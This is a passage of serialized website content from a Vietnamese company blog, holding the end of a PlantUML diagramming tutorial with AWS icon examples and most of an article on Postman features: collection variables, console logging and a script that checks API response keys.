ra\n",[533,18694],{"className":18695,"alt":66,"src":18696,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F11\u002F02174105\u002Fimage-20211029171040393-768x749.png",[657,18698,18700],{"id":18699},"xuất-hình-vẽ","Xuất hình vẽ",[11,18702,18703],{},"1. Từ Command Panel của VScode, chọn \"PlantUML: Export Current File Diagrams\"",[11,18705,18706],{},"2.  Chọn png",[11,18708,18709],{},"3. Thư mục out sẽ được tạo và file hình sẽ được xuất ra trong đó.",[11,18711,18712],{},"Ngoài biểu đồ hoạt động (Activity diagram), còn có thể vẽ biểu đồ tuần tự (Sequence diagram), biểu đồ use case (Use-case diagram), biểu đồ các lớp (Class diagram), v.v... Trên trang PlantUML cũng có đăng tải các ví dụ mẫu, hãy tham khảo.",[498,18714,18716],{"id":18715},"tạo-sơ-đồ-cấu-trúc-hệ-thống-có-dùng-dịch-vụ-aws","Tạo sơ đồ cấu trúc hệ thống có dùng dịch vụ AWS",[11,18718,18719],{},"ICON của AWS được cung cấp trên GitHub, có thể sử dụng trong PlantUML",[11,18721,18722,18723,18728,18729,18734],{},"Trước đây thường dùng ",[58,18724,18727],{"href":18725,"rel":18726},"https:\u002F\u002Fgithub.com\u002Fmilo-minderbinder\u002FAWS-PlantUML",[62],"AWS-PlantUML"," nhưng gần đây dường như không có cập nhật cho nên chuyển sang dùng ",[58,18730,18733],{"href":18731,"rel":18732},"https:\u002F\u002Fgithub.com\u002Fawslabs\u002Faws-icons-for-plantuml",[62],"aws-icons-for-plantuml"," thay thế.",[11,18736,18737],{},"Sơ đồ cấu trúc có sử dụng tính năng này như sau.",[696,18739,18742],{"className":18740,"code":18741,"language":701},[699],"@startuml aws-sample-system-diagram  \n\n!define AWSPuml https:\u002F\u002Fraw.githubusercontent.com\u002Fawslabs\u002Faws-icons-for-plantuml\u002Fv11.1\u002Fdist \n!includeurl AWSPuml\u002FAWSCommon.puml \n!includeurl AWSPuml\u002FNetworkingContentDelivery\u002FElasticLoadBalancingApplicationLoadBalancer.puml \n!includeurl AWSPuml\u002FGroupIcons\u002FRegion.puml \n!includeurl AWSPuml\u002FNetworkingContentDelivery\u002FRoute53.puml \n!includeurl AWSPuml\u002FCompute\u002Fall.puml \n!includeurl AWSPuml\u002FStorage\u002FSimpleStorageService.puml \n!includeurl AWSPuml\u002FDatabase\u002FAuroraMySQLInstance.puml \n!includeurl AWSPuml\u002FDatabase\u002FElastiCacheElastiCacheforRedis.puml  \n\nleft to right direction  \n\nactor \"Person\" as personAlias \nRegion(cloudArea, \"Tokyo\", \"AWS\", \"\"){ \nRoute53(route53, \"Sample.com\", \"Route53\", \"\") \nElasticLoadBalancingApplicationLoadBalancer(elb, \"Production-ALB\", \"ALB\", \"\") \nEC2Instance(desktopAlias, \"Production-ec2\", \"EC2\", \"t3.micro \\n amazon linux2\") \nSimpleStorageService(storageAlias, \"Production-s3\", \"AmazonS3\", \"Host name \\n public\") \nAuroraMySQLInstance(rds,\"Database\",\"RDS Mysql\",\"Host name \\n DB name\") \nElastiCacheElastiCacheforRedis(redis,\"Redis\",\"Elastic Cache\",\"Host name\") \n}  \n    \npersonAlias --> route53 \nroute53 --> elb \nelb --> desktopAlias\nelb --> storageAlias \ndesktopAlias --> storageAlias \ndesktopAlias --> redis \nrds \u003C--> desktopAlias \n@enduml\n",[703,18743,18741],{"__ignoreMap":66},[533,18745],{"className":18746,"alt":66,"src":18747,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F11\u002F02174825\u002Faws-sample-system-diagram-768x383.png",[11,18749,18750,18751,18756],{},"Danh sách các icon khác có trong ",[58,18752,18755],{"href":18753,"rel":18754},"https:\u002F\u002Fgithub.com\u002Fawslabs\u002Faws-icons-for-plantuml\u002Fblob\u002Fmain\u002FAWSSymbols.md",[62],"AWSSymbols.md"," của thư mục top",[498,18758,18760],{"id":18759},"cảm-nhận","Cảm nhận",[11,18762,18763],{},"Vì có thể dùng VScode để tạo cho nên dễ dàng thao tác cùng lúc với người khác, dễ dàng quản lý version mà không cần phải bận tâm đến việc mua bản quyền phần mềm.",[11,18765,18766],{},"Không thể chỉnh sửa nhỏ nhặt hình vẽ mà chỉ có thể chọn vẽ từ trên xuống dưới, vẽ từ trái qua phải, v.v... Chính vì vậy, những ai đã biết điều trên và không chấp nhận thì không nên sử dụng.",[11,18768,18769],{},"Tuy nhiên, đối với tôi thì bỏ qua yếu tố không thể chỉnh sửa nhỏ nhặt thì có thể tạo được biểu đồ, hình vẽ, ghi những thứ cần thiết vào phần giải thích mà không cần phải suy nghĩ nhiều thứ, có thể tập trung công việc một cách hiệu quả hơn.",[498,18771,18773],{"id":18772},"ghi-chú","Ghi chú",[11,18775,18776,18777,18782],{},"Cũng có người không muốn xây dựng môi trường local thì trên trang PlantUML có sẵn ",[58,18778,18781],{"href":18779,"rel":18780},"http:\u002F\u002Fwww.plantuml.com\u002Fplantuml\u002Fuml\u002FSyfFKj2rKt3CoKnELR1Io4ZDoSa70000",[62],"demo"," hãy dùng thử.",[11,18784,18785],{},"Cho dù không sử dụng Docker thì khi setting Plantuml: Render của VScode, nếu set URL của trang PlantUML thì cũng có thể sử dụng Preview. Tuy nhiên trường hợp sử dụng trang PlantUML thì cần phải cân nhắc kỹ xem những thứ sẽ tạo có phải là thông tin cơ mật hay không rồi hãy sử dụng.",[498,18787,5654],{"id":1802},[11,18789,18790],{},[58,18791,18794],{"href":18792,"rel":18793},"https:\u002F\u002Fplantuml.com\u002F",[62],"PlantUML",[11,18796,18797],{},[58,18798,18801],{"href":18799,"rel":18800},"https:\u002F\u002Fnote.com\u002Fkeyskey1021\u002Fn\u002Fn12cb62301f68",[62],"Tạo môi trường có thể vừa vẽ PlantUML vừa xem Preview trên Visual Studio Code bằng Docker",[11,18803,18804],{},[58,18805,18733],{"href":18731,"rel":18806},[62],{"title":66,"searchDepth":67,"depth":67,"links":18808},[18809,18810,18814,18818,18819,18820,18821],{"id":18600,"depth":67,"text":18601},{"id":18613,"depth":67,"text":18614,"children":18811},[18812,18813],{"id":18617,"depth":1417,"text":18618},{"id":18646,"depth":1417,"text":18647},{"id":18668,"depth":67,"text":18669,"children":18815},[18816,18817],{"id":18672,"depth":1417,"text":18673},{"id":18699,"depth":1417,"text":18700},{"id":18715,"depth":67,"text":18716},{"id":18759,"depth":67,"text":18760},{"id":18772,"depth":67,"text":18773},{"id":1802,"depth":67,"text":5654},"2021-11-12","Giới thiệu PlantUML Trong quy trình phát triển phần mềm, dù áp dụng mô hình Waterfall hay mô hình Agile thì cũng thường hay sử dụng biểu đồ UML để giải thích yêu cầu, cấu trúc, chức năng. Tuy nhiên, tài liệu biểu đồ hình vẽ  không dùng Text Editor mà thường dùng ứng dụng vẽ hình và đôi lúc khó nhận biết được sự khác biệt giữa các version. Nếu dùng PlantUML thì có thể vẽ hình, biểu đồ bằng code và dễ dàng biết được sự khác biệt của các thay đổi, dễ dàng quản lý version.",{},"\u002Fvi\u002Fnews\u002Fplantuml",{"title":18595,"description":18823},"vi\u002Fnews\u002Fplantuml","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F06\u002F03135600\u002FPlantuml_Logo_M.png","1zOW4SH26ut_ecFMrMGrQepBWsGSB9Ua_V2xDv81fGs",{"id":18831,"title":18832,"body":18833,"category":1430,"created by":70,"date":19502,"description":19503,"extension":72,"meta":19504,"navigation":74,"path":19505,"sections":76,"seo":19506,"stem":19507,"thumbnail":19508,"__hash__":19509},"content_vi\u002Fvi\u002Fnews\u002Fpostman-va-mot-so-tinh-nang-huu-ich.md","POSTMAN VÀ MỘT SỐ TÍNH NĂNG HỮU ÍCH",{"type":8,"value":18834,"toc":19493},[18835,18842,18845,18848,18852,18855,18862,18866,18869,18873,18877,18880,18893,18896,18899,18903,18912,18922,18929,18936,18942,18946,18950,18956,18962,18967,18971,18975,18992,18996,19004,19010,19015,19021,19026,19035,19039,19043,19049,19063,19068,19073,19077,19082,19086,19090,19095,19098,19103,19107,19112,19117,19121,19125,19128,19134,19138,19146,19156,19164,19173,19184,19199,19209,19212,19226,19230,19238,19242,19247,19250,19254,19262,19281,19285,19294,19302,19311,19320,19329,19345,19356,19369,19373,19382,19393,19399,19403,19409,19420,19423,19427,19433,19444,19447,19451,19457,19470,19473,19477,19481,19487],[11,18836,18837,18838,18841],{},"Được ra mắt lần đầu tiên vào năm 2012, trải qua gần 1 thập kỷ với hơn 25 triệu người dùng, POSTMAN đã trở thành công cụ phổ biến nhất được sử dụng trong kiểm thử API (",[20,18839,18840],{},"Application Programming Interface"," – Giao diện lập trình ứng dụng).",[11,18843,18844],{},"POSTMAN cung cấp đa dạng các tính năng như gửi request với các phương thức POST, PUT, GET, DELETE của HTTP, kiểm tra dữ liệu trả về với các định dạng khác nhau như JSON, XML, quản lý request với tính năng Collection, chia sẻ dữ liệu với tính năng Import \u002F Export, v.v. giúp cho những người dù không có kiến thức về lập trình cũng có thể dễ dàng sử dụng.",[11,18846,18847],{},"Sau một thời gian dài làm việc với các tính năng cơ bản, chắc hẳn bạn cũng muốn tìm hiểu thêm những tính năng nâng cao của POSTMAN. Nếu vậy thì bạn không thể bỏ qua các thông tin hữu ích được Briswell Việt Nam chia sẻ trong bài viết lần này.",[498,18849,18851],{"id":18850},"_1-cài-đặt-postman","1. CÀI ĐẶT POSTMAN",[11,18853,18854],{},"Là một công cụ mã nguồn mở (Open Source), bạn có thể dễ dàng tải và cài đặt POSTMAN tại đường dẫn sau:",[11,18856,18857,18858],{},"Trang chủ POSTMAN: ",[58,18859,18860],{"href":18860,"rel":18861},"https:\u002F\u002Fwww.postman.com\u002Fdownloads\u002F",[62],[498,18863,18865],{"id":18864},"_2-một-số-tính-năng-hữu-ích","2. MỘT SỐ TÍNH NĂNG HỮU ÍCH",[11,18867,18868],{},"Ngoài những tính năng cơ bản đã được liệt kê ở đầu bài viết, POSTMAN còn cung cấp 1 số tính năng nâng cao như sau.",[657,18870,18872],{"id":18871},"_21-thiết-lập-biến-variable","2.1 Thiết lập Biến (Variable)",[1800,18874,18876],{"id":18875},"_211-tại-sao-nên-sử-dụng-biến","2.1.1 Tại sao nên sử dụng biến?",[11,18878,18879],{},"Đối với các request trong cùng 1 dự án, sẽ có nhiều giá trị được sử dụng chung và được khai báo lặp lại nhiều lần ở các request, ví dụ như tên của domain trên URL hay giá trị của Authorization, v.v.",[11,18881,18882,18883,18887,18888,18892],{},"Nếu tên của domain bị thay đổi hoặc giá trị Authorization được cập nhật sang một giá trị mới thì cần phải cập nhật giá trị mới cho từng request, như vậy khá mất thời gian cũng như dễ xảy ra sai sót và lỗi. Ví dụ: Trường hợp khi đối ứng phase 1, URL của site được đặt là ",[58,18884,18885],{"href":18885,"rel":18886},"https:\u002F\u002Fapi-example1.com\u002F",[62],", nhưng khi đối ứng phase 2, URL của site được đổi thành ",[58,18889,18890],{"href":18890,"rel":18891},"https:\u002F\u002Fapi-example2.com\u002F",[62],". Khi đó, chúng ta cần tốn nhiều thời gian để cập nhật tên domain mới cho tất cả các request.",[11,18894,18895],{},"Để giải quyết vấn đề này, POSTMAN cung cấp 5 loại biến có phạm vi sử dụng khác nhau bao gồm: Biến Global, biến Collection, biến Environment, biến Data, biến Local. Bằng cách sử dụng biến, khi cần cập nhật các thông tin như tên domain trên URL hay giá trị của Authorization, chúng ta chỉ cần vào nơi khai báo biến, cập nhật giá trị mới cho biến đó, thì tất cả các request đang gọi đến biến đó sẽ được tự động cập nhật giá trị mới nhất.",[11,18897,18898],{},"Trong bài viết lần này, Briswell Việt Nam sẽ hướng dẫn cách khai báo biến trong phạm vi Collection (các biến khác cũng có cách khai báo tương tự). Tức là biến này chỉ có hiệu lực trong phạm vi Collection được khai báo và các request bên trong Collection đó.",[1800,18900,18902],{"id":18901},"_212-khai-báo-biến-trong-collection-trên-postman","2.1.2 Khai báo biến trong Collection trên POSTMAN",[11,18904,18905,18906,8529,18909],{},"Bước 1: Nhấn vào biểu tượng ba chấm ・・・ bên phải tên ",[20,18907,18908],{},"Collection",[20,18910,18911],{},"Edit",[11,18913,18914,18915,18918,18919],{},"Bước 2: Tại dropdown menu ",[20,18916,18917],{},"Edit Collection",", chọn tab ",[20,18920,18921],{},"Variables",[11,18923,18924,18925,18928],{},"Bước 3: Ở cột ",[20,18926,18927],{},"VARIABLE",", nhập tên biến",[11,18930,18931,18932,18935],{},"Bước 4: Ở cột ",[20,18933,18934],{},"CURRENT VALUE",", gán giá trị cho biến",[11,18937,18938,18939],{},"Bước 5: Nhấn nút ",[20,18940,18941],{},"Save",[533,18943],{"className":18944,"alt":66,"src":18945,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F03104456\u002FKhai-b%C3%A1o-bi%E1%BA%BFn_VN-1.png",[1800,18947,18949],{"id":18948},"_213-gọi-biến-trong-request","2.1.3 Gọi biến trong Request",[11,18951,18952,18953],{},"Bước 1: Mở file ",[20,18954,18955],{},"Request",[11,18957,18958,18959],{},"Bước 2: Gọi biến theo định dạng ",[703,18960,18961],{},"{{variable_name}}",[11,18963,18964,18965],{},"Bước 3: Nhấn nút ",[20,18966,18941],{},[533,18968],{"className":18969,"alt":66,"src":18970,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F03105817\u002FG%E1%BB%8Di-bi%E1%BA%BFn_VN.png",[657,18972,18974],{"id":18973},"_22-cửa-sổ-console","2.2 Cửa sổ Console",[11,18976,18977,18978,18980,18981,18983,18984,18987,18988,18991],{},"Thông thường, chúng ta sẽ kiểm tra giá trị được trả về ở tab ",[20,18979,746],{},". Tuy nhiên, đối với trường hợp số lượng parameter trả về nhiều thì việc xem kết quả ở tab ",[20,18982,746],{}," có chút khó khăn, phải thao tác lăn chuột nhiều lần để kiểm tra được các thông tin ở phía dưới. Để giải quyết vấn đề này, chúng ta có thể sử dụng câu lệnh ",[703,18985,18986],{},"console.log(pm.response.json())"," để in giá trị trả về ra cửa sổ ",[20,18989,18990],{},"Console"," và kiểm tra thông tin trả về ở đó.",[1800,18993,18995],{"id":18994},"_221-in-thông-tin-trả-về-bằng-câu-lệnh-consolelogpmresponsejson","2.2.1 In thông tin trả về bằng câu lệnh console.log(pm.response.json())",[11,18997,18998,18999,19001,19002],{},"Bước 1: Nhấn vào biểu tượng ",[20,19000,18990],{}," (ở góc dưới bên trái màn hình) để bật cửa sổ ",[20,19003,18990],{},[11,19005,19006,19007],{},"Bước 2: Chọn tab ",[20,19008,19009],{},"Tests",[11,19011,19012,19013],{},"Bước 3: Viết câu lệnh ",[703,19014,18986],{},[11,19016,19017,19018],{},"Bước 4: Nhấn nút ",[20,19019,19020],{},"Send",[11,19022,19023,19024],{},"Bước 5: Xem thông tin trả về được in ra ở cửa sổ ",[20,19025,18990],{},[11,19027,19028,19029,19032,19033],{},"Bước 6: Để xóa thông tin được in ra, nhấn nút ",[20,19030,19031],{},"Clear"," ở góc phải cửa sổ ",[20,19034,18990],{},[533,19036],{"className":19037,"alt":66,"src":19038,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F03111925\u002FC%E1%BB%ADa-s%E1%BB%95-Console_VN-1024x515.png",[1800,19040,19042],{"id":19041},"_222-câu-lệnh-consolelogpmresponsejson","2.2.2 Câu lệnh console.log(pm.response.json())",[11,19044,19045,19046,19048],{},"Câu lệnh ",[703,19047,18986],{}," được cấu tạo bởi 2 thành phần như sau:",[31,19050,19051,19057],{},[34,19052,19053,19056],{},[703,19054,19055],{},"console.log()",": Là hàm dùng để in ra giá trị của đối tượng đang được gọi đến.",[34,19058,19059,19062],{},[703,19060,19061],{},"pm.response.json()",": Là cú pháp được định nghĩa bởi POSTMAN dùng để trích xuất thông tin được trả về trong phần body.",[11,19064,19065],{},[20,19066,19067],{},"Ví dụ 1: Phần Response Body là object. In ra toàn bộ thông tin phần Body.",[11,19069,19070,19071],{},"→ Sử dụng câu lệnh ",[703,19072,18986],{},[533,19074],{"className":19075,"alt":66,"src":19076,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F03130329\u002FC%C3%A2u-l%E1%BB%87nh-console.log_V%C3%AD-d%e1%bb%a5-1_VN-1-1024x653.png",[11,19078,19079],{},[20,19080,19081],{},"Ví dụ 2: Phần Response Body là array. In ra toàn bộ thông tin phần Body.",[11,19083,19070,19084],{},[703,19085,18986],{},[533,19087],{"className":19088,"alt":66,"src":19089,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F03130816\u002FC%C3%A2u-l%E1%BB%87nh-console.log_V%C3%AD-d%e1%bb%a5-2_VN-1024x574.png",[11,19091,19092],{},[20,19093,19094],{},"Ví dụ 3: Phần Response Body là array. Chỉ in thông tin của object đầu tiên trong array.",[11,19096,19097],{},"Xét về mặt số lượng và tính chất response parameter thì các object trong một array là tương đương nhau nên chỉ cần kiểm tra đại diện một object.",[11,19099,19070,19100],{},[703,19101,19102],{},"console.log(pm.response.json()[0])",[533,19104],{"className":19105,"alt":66,"src":19106,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F03131401\u002FC%C3%A2u-l%E1%BB%87nh-console.log_V%C3%AD-d%e1%bb%a5-3_VN-1024x717.png",[11,19108,19109],{},[20,19110,19111],{},"Ví dụ 4: Phần Response Body là object. In ra giá trị của 1 response parameter cụ thể.",[11,19113,19070,19114],{},[703,19115,19116],{},"console.log(pm.response.json().{response parameter name})",[533,19118],{"className":19119,"alt":66,"src":19120,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F03132556\u002FC%C3%A2u-l%E1%BB%87nh-console.log_V%C3%AD-d%e1%bb%a5-4_VN-1024x532.png",[657,19122,19124],{"id":19123},"_23-giới-thiệu-về-đoạn-script-được-sử-dụng-để-test-respone-parameter","2.3 Giới thiệu về đoạn script được sử dụng để test respone parameter",[11,19126,19127],{},"Đối với các API Search, sẽ có trường hợp trả về dư hoặc thiếu response parameter so với respone parameter được chỉ định trong thiết kế API. Trường hợp này, chúng ta có thể sử dụng đoạn script sau đây để kiểm tra response parameter được trả về từ API có trùng khớp so với các response parameter được chỉ định trong thiết kế theo đơn vị object hay không.",[696,19129,19132],{"className":19130,"code":19131,"language":701},[699],"let expectedKeys = []\nlet returnKeys = Object.keys(pm.response.json())\nfunction checkReturnKeys(expectedKeys,returnKeys){\n    let duplicatedExpectedKeysAray = expectedKeys.filter((item,index) => {\n        return expectedKeys.indexOf(item) !== index})\n    if (duplicatedExpectedKeysAray.length === 0) {\n        let missExpectedKeys = expectedKeys.filter((item) => !returnKeys.includes(item))\n        let redundantExpectedKeys = returnKeys.filter((item) => !expectedKeys.includes(item))\n        if(!_.isEqual(expectedKeys,returnKeys)){\n            if(missExpectedKeys.length !== 0 && redundantExpectedKeys.length !== 0){\n                console.log('Some parameters that are described in the specification are not being returned in the API response result, such as: '+missExpectedKeys+'. Please check again.')\n                console.log('Some parameters are being returned in the API response result that are not described in the specification, such as: '+redundantExpectedKeys+'. Please check again.')\n            }else if(missExpectedKeys.length !== 0){\n                console.log('Some parameters that are described in the specification are not being returned in the API response result, such as: '+missExpectedKeys+'. Please check again.')\n            }else{\n                console.log('Some parameters are being returned in the API response result that are not described in the specification, such as: '+redundantExpectedKeys+'. Please check again.')\n            }\n            return false;\n        }else{\n            console.log('The parameters returned from the API match those described in the specification.')\n            return true;\n        }\n    }else{\n        console.log('The expectedKeys array contains elements with duplicate names, such as: '+ duplicatedExpectedKeysAray+'. Please check again.')\n    }\n}\npm.test(\"Check return keys\", () => {\n    pm.expect(checkReturnKeys(expectedKeys.sort(),returnKeys.sort())).eql(true);\n});\n",[703,19133,19131],{"__ignoreMap":66},[1800,19135,19137],{"id":19136},"_231-cơ-chế-hoạt-động-của-đoạn-script-trên","2.3.1 Cơ chế hoạt động của đoạn script trên",[31,19139,19140],{},[34,19141,19142,19143],{},"Dòng thứ nhất: ",[703,19144,19145],{},"let expectedKeys = []",[11,19147,19148,19149,19152,19153,756],{},"→ ",[20,19150,19151],{},"expectedKeys"," là 1 mảng chứa các phần tử response parameter name được trích xuất từ thiết kế API (",[20,19154,19155],{},"Kết quả mong đợi",[31,19157,19158],{},[34,19159,19160,19161],{},"Dòng thứ hai: ",[703,19162,19163],{},"let returnKeys = Object.keys(pm.response.json())",[11,19165,19148,19166,19169,19170,756],{},[20,19167,19168],{},"returnKeys"," là 1 mảng chứa các phần tử response parameter name được trả về từ API (",[20,19171,19172],{},"Kết quả thực tế",[31,19174,19175],{},[34,19176,19177,19178,19180,19181,19183],{},"Mục đích của đoạn script này là so sánh phần tử của 2 mảng ",[20,19179,19151],{}," (Kết quả mong đợi) và ",[20,19182,19168],{}," (Kết quả thực tế) có khớp nhau hay không.",[11,19185,19186,19187,19192,19193,19196,19197,974],{},"→ Nếu khớp nhau hoàn toàn thì trả về kết quả ",[19188,19189,19191],"b",{"style":19190},"color:green","PASS"," ở tab ",[20,19194,19195],{},"Test Results"," và message thông báo ở tab ",[20,19198,18990],{},[11,19200,19201,19202,19192,19205,19196,19207,974],{},"→ Nếu không khớp nhau thì sẽ trả về kết quả ",[19188,19203,19204],{"style":17796},"FAIL",[20,19206,19195],{},[20,19208,18990],{},[11,19210,19211],{},"Vì vậy, trước khi chạy đoạn script trên, cần thực hiện 2 thao tác sau:",[31,19213,19214,19220],{},[34,19215,19216,19217],{},"Ở dòng thứ nhất, dán các phần tử response parameter name được trích xuất từ thiết kế vào ",[703,19218,19219],{},"[]",[34,19221,19222,19223,19225],{},"Ở dòng thứ hai, sửa lại ",[703,19224,19061],{}," để có thể get đúng các response parameter name của object đối tượng test.",[1800,19227,19229],{"id":19228},"_232-các-bước-thực-hiện","2.3.2 Các bước thực hiện",[11,19231,19232,19234,19235,19237],{},[20,19233,526],{},": Dán đoạn script trên vào tab ",[20,19236,19009],{}," trên POSTMAN.",[533,19239],{"className":19240,"alt":66,"src":19241,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F03133240\u002FScript_B%C6%B0%E1%BB%9Bc-1_VN-1024x526.png",[11,19243,19244,19246],{},[20,19245,544],{},": Mở thiết kế API, ở phần response, xác định object cần test. Trích xuất response parameter name của object đối tượng test.",[11,19248,19249],{},"Ví dụ: API autoDisplaySearchId có 1 object chính là \"autoDisplay\" và các object con là \"material\", \"laminate\", v.v. Hình minh họa dưới đây là hướng dẫn trích xuất response parameter cho object chính là autoDisplay.",[533,19251],{"className":19252,"alt":66,"src":19253,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F03140944\u002Fscript_B%C6%B0%E1%BB%9Bc-2_VN-3-1024x377.png",[11,19255,19256,19258,19259,19261],{},[20,19257,557],{},": Dán response parameter name đã trích xuất ở bước 2 vào ",[703,19260,19219],{}," ở dòng đầu tiên của đoạn script trên. Ví dụ:",[31,19263,19264,19269],{},[34,19265,19266,19267],{},"Trước khi dán: let expectedKeys = ",[703,19268,19219],{},[34,19270,19271,19272,56,19275,56,19278],{},"Sau khi dán: let expectedKeys = ",[703,19273,19274],{},"[\"id\",\"type\",\"code\",\"name\",\"width1\",\"width2\",\"paste\",\"unit\",\"laminateType\",",[703,19276,19277],{},"\"sort\",\"supplier\",\"maker\",\"settingDate\",\"beforeUnit\",\"comment\",\"disableFlag\",\"createdAt\",\"createdBy\",",[703,19279,19280],{},"\"createdUserName\",\"updatedAt\",\"updatedBy\",\"updatedUserName\"]",[533,19282],{"className":19283,"alt":66,"src":19284,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F03142050\u002Fscript_B%C6%B0%E1%BB%9Bc-3_VN-1024x573.png",[11,19286,19287,19289,19290,19293],{},[20,19288,580],{},": Ở dòng thứ 2 của đoạn script trên, sửa lại phần ",[703,19291,19292],{},"returnKeys = Object.keys(pm.response.json())"," cho phù hợp với object cần test.",[11,19295,19296,19299,19300],{},[20,19297,19298],{},"Ví dụ 1",": API autoDisplaySearchId trả về 1 object. Đối tượng cần test là object autoDisplay của API autoDisplaySearchId thì ",[703,19301,19292],{},[11,19303,19304,19307,19308],{},[20,19305,19306],{},"Ví dụ 2",": API autoDisplaySearchId trả về 1 object. Đối tượng cần test là object material của API autoDisplaySearchId thì ",[703,19309,19310],{},"returnKeys = Object.keys(pm.response.json().material)",[11,19312,19313,19316,19317],{},[20,19314,19315],{},"Ví dụ 3",": API autoDisplaySearch trả về 1 array. Đối tượng cần test là object autoDisplay của API autoDisplaySearch thì ",[703,19318,19319],{},"returnKeys = Object.keys(pm.response.json()[0])",[11,19321,19322,19325,19326],{},[20,19323,19324],{},"Ví dụ 4",": API autoDisplaySearch trả về 1 array. Đối tượng cần test là object material của API autoDisplaySearch thì ",[703,19327,19328],{},"returnKeys = Object.keys(pm.response.json()[0].material)",[11,19330,19331,19332,19334,19335,19337,19338,19192,19340,19342,19343,974],{},"Nhấn nút ",[20,19333,19020],{}," để gửi request rồi kiểm tra kết quả ",[19188,19336,19191],{"style":19190}," \u002F ",[19188,19339,19204],{"style":17796},[20,19341,19195],{}," và xác nhận message thông báo ở tab ",[20,19344,18990],{},[11,19346,19347,19350,19351,1094,19353,19355],{},[20,19348,19349],{},"Trường hợp 1",": Các phần tử trong 2 mảng ",[20,19352,19151],{},[20,19354,19168],{}," khớp nhau hoàn toàn. Tức là API trả về các parameter đúng theo thiết kế, không thiếu, không thừa.",[31,19357,19358,19363],{},[34,19359,19360,19361],{},"Tab Test Results: Hiển thị ",[19188,19362,19191],{"style":19190},[34,19364,19365,19366],{},"Tab Console: Hiển thị message\n",[703,19367,19368],{},"\"The parameters returned from the API match those described in the specification.\"",[533,19370],{"className":19371,"alt":66,"src":19372,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F03143224\u002Fscript_check-result_case1_VN-1-1024x444.png",[11,19374,19375,19378,19379,19381],{},[20,19376,19377],{},"Trường hợp 2",": Trong mảng ",[20,19380,19151],{}," có chứa phần tử trùng tên.",[31,19383,19384,19388],{},[34,19385,19360,19386],{},[19188,19387,19204],{"style":17796},[34,19389,19365,19390],{},[703,19391,19392],{},"\"The expectedKeys array contains elements with duplicate names, such as: {the same name element}. Please check again.\"",[11,19394,19395,19396,19398],{},"→ Trường hợp này cần kiểm tra mảng ",[20,19397,19151],{}," và loại bỏ phần tử trùng. Sau đó, tiến hành chạy lại API.",[533,19400],{"className":19401,"alt":66,"src":19402,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F03143914\u002Fscript_check-result_case2_VN-1024x447.png",[11,19404,19405,19408],{},[20,19406,19407],{},"Trường hợp 3",": Trả về dư response parameter so với thiết kế.",[31,19410,19411,19415],{},[34,19412,19360,19413],{},[19188,19414,19204],{"style":17796},[34,19416,19365,19417],{},[703,19418,19419],{},"\"Some parameters are being returned in the API response result that are not described in the specification, such as: {parameter name}. Please check again.\"",[11,19421,19422],{},"→ Trường hợp này thông báo với developer để xóa parameter bị dư.",[533,19424],{"className":19425,"alt":66,"src":19426,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F03144410\u002Fscript_check-result_case3_VN-1024x420.png",[11,19428,19429,19432],{},[20,19430,19431],{},"Trường hợp 4",": Trả về thiếu response parameter so với thiết kế.",[31,19434,19435,19439],{},[34,19436,19360,19437],{},[19188,19438,19204],{"style":17796},[34,19440,19365,19441],{},[703,19442,19443],{},"\"Some parameters that are described in the specification are not being returned in the API response result, such as: {parameter name}. Please check again.\"",[11,19445,19446],{},"→ Trường hợp này thông báo với developer để bổ sung parameter bị thiếu.",[533,19448],{"className":19449,"alt":66,"src":19450,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F03145026\u002Fscript_check-result_case4_VN-1024x422.png",[11,19452,19453,19456],{},[20,19454,19455],{},"Trường hợp 5",": Trả về vừa thiếu vừa dư response parameter so với thiết kế.",[31,19458,19459,19463],{},[34,19460,19360,19461],{},[19188,19462,19204],{"style":17796},[34,19464,19465,19466,56,19468],{},"Tab Console: Hiển thị 2 message\n",[703,19467,19419],{},[703,19469,19443],{},[11,19471,19472],{},"→ Trường hợp này thông báo với developer để xóa parameter bị dư và bổ sung parameter bị 